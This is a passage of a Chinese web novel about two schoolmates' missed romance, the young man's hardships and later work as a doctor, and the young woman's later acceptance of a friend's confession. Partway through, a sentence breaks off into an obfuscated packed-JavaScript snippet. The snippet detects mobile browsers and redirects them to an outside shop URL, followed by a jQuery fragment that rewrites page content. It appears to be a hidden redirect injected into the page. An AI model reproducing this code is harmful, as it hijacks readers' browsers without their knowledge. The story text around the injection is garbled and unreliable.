快到青水巷口时,他瞥见容霁捧着玫瑰走来,心脏骤然收紧——容霁要表白了。 他怕自己再多待一秒,会忍不住做些冲动的事,更怕沈青水为难,只能仓促找借口,甩开她的手转身就走。 刚走不远,就听见风里传来她带着哭腔的喊声,他脚步一顿,想回头,却看到身边的表妹伸手要糖。 他下意识递出常给沈青水的橘子硬糖,抬头时,正望见沈青水站在不远处。 沈青水看了他一眼就走了,似乎在确认他去哪? 冬雪覆盖漓乡时,魏之言和沈青水的培优班课堂只剩沉默。 他递去补全的竞赛笔记,她轻声拒绝,语气淡得像窗外的寒风,他攥着笔记本的手僵在半空,雪落在发梢,凉得像心底的失落。 他知道是自己那晚的仓促伤害了她。 跨年夜里,瞥见容霁捧着玫瑰走来,他怕她为难,更怕自己忍不住拆穿心意,只能仓皇逃离,却没料到会让她误会。 月考后,他故意在官网上传整理好的竞赛题库,盼着她能看见,盼着能有个重新说话的契机。 在图书馆讨论物理题时,他瞥见她靠窗的身影,故意提高音量讲解题思路,看着她笔尖微动,心里悄悄泛起暖意。 期末考试前,看到考场名单上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686451|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人的名字并列,魏之言莫名雀跃。 考试结束,她的笔滚到他脚边,弯腰去捡时,指尖不经意触碰,她像触电般缩回,那句酝酿已久的解释,终究还是没说出口。 看着她接过笔后低头沉默的模样,魏之言心里五味杂陈。 他知道那些错过的瞬间、没说清的误会,像冬雪般压在两人之间。 可他不敢再贸然靠近,怕再次伤害她,只能看着她的背影,默默期盼分班名单能给他们一个机会。 好景不长,母亲住院了。 为了照顾母亲魏之言只能转学。 可沈青水怎么办?那句藏了半年的喜欢,那声没说清的误会,还有“一起去北京”的约定,难道就要这样草草收场? 他攥着转学申请,在二班门口徘徊了三节课。 课间操的铃声响起,学生们涌着往外走,他终于看见沈青水和安茹佳并肩走来。 她的短发又长长了些,扎成小小的揪,阳光落在她脸上,亮得晃眼。 他刚想上前就听见沈青水和安茹佳的对话。 安茹佳问:“魏之言这次估计又是第一。” 沈青水回复:“别提他!我讨厌他!” 沈青水的声音不算大,却像一把淬了冰的匕首,精准地扎进魏之言的心脏。 他攥着转学申请的手指猛地收紧,指节泛白,连呼吸都瞬间滞涩。 他站在走廊柱子后,看着沈青水皱着眉,语气里满是嫌恶,仿佛“魏之言”这三个字都让她觉得膈应。 安茹佳还想再说些什么,却被她拉着快步走开,背影决绝,没有一丝留恋。 原来,她是真的讨厌他。 那……去北京的约定也不做数了吧。 魏之言没有再上前,只是默默转身,攥着那张皱巴巴的转学申请,一步步走出教学楼。 阳光刺眼,他却觉得浑身冰凉。 那个闷热午后巷口的初遇,那个并肩走在傍晚巷子里的约定,那个想带着她逃离困境的梦想,终究还是停在了这个初春,成了他青春里最遗憾的留白。 他没有回头,也没有告诉任何人他的离开。就像他悄悄靠近她、悄悄为她整理笔记、悄悄藏起喜欢一样,他也选择了悄悄离开。 把所有的误会和遗憾,都留在了漓乡一中的走廊里,留在了那个没说出口的告别里。 后来去了白湖,他又实在忍不住去找了几次沈青水。 一次在天桥。 明明已经做好了准备,可是看到她还是只能擦肩而过,没有上前的勇气。 于是又一次错过。 后来竞赛集训,地点在白湖。 机缘巧合之下,两人重逢。 他们没有提过去的一些摩擦和误会,而是一起努力,向着去北京的目标努力。 本来命运应该柳暗花明又一村,可是上天又给他开了一个玩笑—— 母亲脑溢血。 那段时间魏之言特别烦,父亲的电话是打不通的,亲戚是远离的。 他放弃了去北京。 沈青水质问他为什么不跟自己走,他想说我很想跟你走啊,但是我走不了。 可是当沈青水问起表妹时,他最终还是说随她怎么想吧。 他们终究不是一路人,不是吗? 大小姐就应该是大小姐啊,怎么能跟他这种一穷二白的人过一辈子? 然后魏之言退学了,高中毕业证都没有拿到,就去打工了。 其实结局没有别人说的那么美满,他一天打三份工,基本上没有睡觉的时间,最终母亲还是去世了。 他靠着社会考生的身份去学了医,希望以后能救助更多的人。 其实当初没有时间在QQ跟那个神秘的联系人聊天,但是不知道为什么,他有一种预感,那个人很重要。 神秘联系人最后出国留学了,两人再也没有联系。 恰巧疫情肆虐,魏之言坐上了去武汉的列车。 在那里,他遇到了此生挚爱——苏菲。 苏菲是个活泼开朗的人,跟沈青水完全不一样。 他最后还是被苏菲的热情打动了。 疫情结束苏菲向他表白,他考虑许久,最后还是答应了。 因为他从沈望川那里得知,沈青水和骆饶去了国外。 国外啊,他可能这辈子都不会去的。 两人的身份差距越来越大,注定了这辈子都不可能的。 沈青水身边不缺优秀的男性,容霁、骆饶等等,不差他魏之言一个。 他觉得,算了吧,放下吧,别再执着了。 年少遇到过太惊艳的人,释怀这条路,他走了七年。 16. 骆饶与沈青水 “时间的泪眼撕去我伪装,你可记得我年少的模样?” ——《阿楚姑娘》 清华园的桃花谢了又开,沈青水在数学系任教已有一年。 她的课逻辑清晰又不失风趣,课后常被学生围着问问题,办公室的窗台上,总摆着学生们送的小盆栽,绿意盎然。 周末午后,她约了骆饶在五道口的咖啡馆小聚。 这家店是两人留学时就偏爱的连锁品牌,木质桌椅带着温润的质感,墙上挂着复古的黑白摄影,舒缓的爵士乐在空气中流淌。 骆饶是陪她留学的挚友,如今在隔壁研究院,两人虽在同一城市,却因各自忙碌,许久没好好坐下来聊聊。 “说真的,你都回国这么久了,就没遇到个顺眼的?”骆饶搅着杯里的拿铁,眼神带着打趣,“总不能让这些盆栽陪你过一辈子吧?” 沈青水啜了口美式,咖啡的微苦在舌尖化开,她笑了笑:“顺其自然呗,又不是为了谈恋爱而谈恋爱。” “那你总得有个标准吧?”骆饶追问,“你到底喜欢什么样的人?” 沈青水指尖摩挲着温热的杯壁,目光飘向窗外街道上并肩走过的情侣,女孩手里捧着一束洋甘菊,男孩低头听她说话,眼里满是温柔。 她的眼神柔和了些:“没什么复杂的标准,就想要一个能陪我很久的人。” 她顿了顿,想起那些年独自在国外的漂泊,想起午夜梦回时的孤单,语气愈发认真: “不用多浪漫,也不用多耀眼,只要能一直陪着我,难过的时候有人倾诉,开心的时候有人分享,平淡日子里能互相扶持,就够了。” 年少时追逐过像烟火般惊艳的爱情,经历过戛然而止的错过与遗憾,那些热烈的悸动、辗转的牵挂,最终都沉淀为心底的一道印记。 如今她早已不执着于轰轰烈烈,只想要一份安稳长久的陪伴,一份能抵御岁月漫长的温暖,像冬日里的炉火,春日里的细雨,平淡却不可或缺。 骆饶看着她,眼底闪过一丝认真,他放下咖啡勺,身体微微前倾,声音带着笑意却格外清晰:“那我们认识多久了?” 沈青水愣了愣,下意识回道:“十年了吧?从高一到现在……” “是啊,十年了。”骆饶打断她,眼神灼灼地望着她,“你说想要一个能陪你很久的人,我已经陪了你十年,接下来的几十年,我也想一直陪着你,行不行?” 沈青水的心脏猛地一跳,手里的咖啡杯微微晃动。 她抬眼看向骆饶,眼前的男人穿着简单的白衬衫,袖口挽起,露出小臂上淡淡的疤痕——那是当年她在实验室晕倒,骆饶背着她跑向医院时,被路边栏杆蹭到的。 这些年,他总是在她需要的时候出现。 她论文卡壳时,他会带着红酒和零食来陪她解压。 她回国收拾住处时,他忙前忙后帮着组装家具。 她第一次站上清华讲台紧张时,他特意跑来听她的课,课后给她竖大拇指说“超棒”。 她一直把他当作最好的朋友,却从未想过,这份陪伴早已超出了友谊的界限。 “我知道你经历过遗憾,”骆饶的声音放得很轻,带着小心翼翼的温柔。 他顿了顿,喉结微动,像是在鼓起毕生的勇气: “我不敢保证自己有多完美,不会说甜言蜜语,也不懂什么浪漫套路。但我能保证,只要你愿意,我会一直陪着你。陪你看清华园的四季流转,春天看桃花,夏天赏荷塘,秋天踩落叶,冬天观白雪。” “陪你改不完的论文,帮你整理文献,给你泡咖啡,哪怕只是安静坐在旁边陪你熬夜;陪你应对生活里的所有琐碎,水电维修、采购、甚至是和物业沟通。” “我会记得你不吃香菜,记得你生理期要喝温的红糖水,记得你看悬疑片会害怕,会提前捂住你的眼睛。我想陪你很久很久,从青丝到白发,从校园到暮年。” 咖啡馆里流淌着舒缓的音乐,阳光透过玻璃窗落在两人身上,暖融融的。 沈青水看着骆饶眼中毫不掩饰的真诚,心里那片因过往遗憾而略显荒芜的角落,忽然被暖意填满。 她想起当年在婚礼上的释然,想起自己对未来的期许,嘴角缓缓勾起一抹笑意,眼里闪着泪光,却无比坚定:“好啊。” 简单的两个字,像一颗投入湖面的石子,在两人心底漾开层层涟漪。 骆饶紧 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她终于明白,人生不是所有的相遇都能有结果,有些错过,是为了让你遇见更好的人。 而骆饶,就是那个最好的人。 他用十年的陪伴,证明了“长久”的意义,也让她懂得,最珍贵的爱情,从来都不是惊艳了时光,而是温柔了岁月。 又是一年春天,清华园的桃花开得绚烂。 沈青水和骆饶并肩站在桃树下,花瓣随风飘落,落在他们的肩头。 骆饶伸手,轻轻拂去她发间的花瓣,眼神温柔:“明年,我们一起去看武大的樱花吧?” “好。” 人生的列车不同,不必强行同轨。 有时沈青水还会想起那个年少时特别惊艳的人,想起如今忙碌紧张的生活里,他们也曾年少过。 其实不久之前容霁也问过她要不要在一起,她拒绝了。 容霁如今身在国外酒庄葡萄园,他是不能陪她留在北京的。 想来想去,倒是让从前不怎么在意的骆饶捷足先登了。 很多次骆饶问她想不想回离乡看看,她终于决定回去,跟自己和解。